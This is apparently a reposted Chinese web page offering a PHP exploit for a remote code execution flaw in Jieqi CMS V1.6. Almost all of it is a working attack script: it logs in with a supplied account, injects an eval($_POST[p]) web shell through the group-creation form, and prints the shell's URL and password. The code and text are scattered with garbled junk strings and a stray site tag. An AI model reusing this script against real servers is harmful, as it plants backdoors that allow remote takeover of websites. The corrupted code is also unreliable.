Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

admin

杰奇网站管理系统（简称 JIEQI CMS，中国国家版权局著作权登记号：2006SR03382）是一套模块化的网站架设系统，具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案，并提供各类网站定制服务。


该系统存在多个远程安全漏洞，今天报告的这个是1.6版本的一个远程代码执行漏洞，应该有2年多历史了。
需要有一个能创建圈子的用户。

  J" h, S/ g# }- q<?php

print_r('
+---------------------------------------------------------------------------+
1 G0 R8 ^8 j8 `7 qJieqi CMS V1.6 PHP Code Injection Exploit
/ n. r1 ]# L' i- T/ Oby flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
5 M" E3 M( U  X- X'); /**
* works regardless of php.ini settings
*/ if ($argc < 5) { print_r('
+---------------------------------------------------------------------------+
. ]0 t* ]3 c0 O  n  zUsage: php '.$argv[0].' host path username
host:      target server (ip/hostname)
1 r+ D2 f5 W# z- ]path:      path to jieqicms
- \  h& J3 v( |, G+ k9 Y; g; t" Tuasename:  a username who can create group
2 ?& ^4 @- }  s& bExample:
+ g* F. f1 X0 V: |7 \php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
- ~# [8 H( Z, V% {* s7 O# q4 s+---------------------------------------------------------------------------+
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"
9 q" ?* p, n# w
' Q: Y9 v) A/ ~# B. z'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"
  @( e( G, ?0 _& b6 T8 r3 P5 O
4 ]9 l8 @- Z2 V: X* p" |3 W1
4 a3 B5 y% H: D2 x: O! ]1 C" W-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

. t- F$ P& L2 R. u( I7 K7 S1
9 U7 l+ O$ w0 F! C. k, |' ?-----------------------------23281168279961
! t$ y# @- _  R/ HContent-Disposition: form-data; name="gbrief"
. t7 _! o2 x* S' W  O  j
1
3 e$ h/ D+ |3 Q! N8 P, W-----------------------------23281168279961--
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com

preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;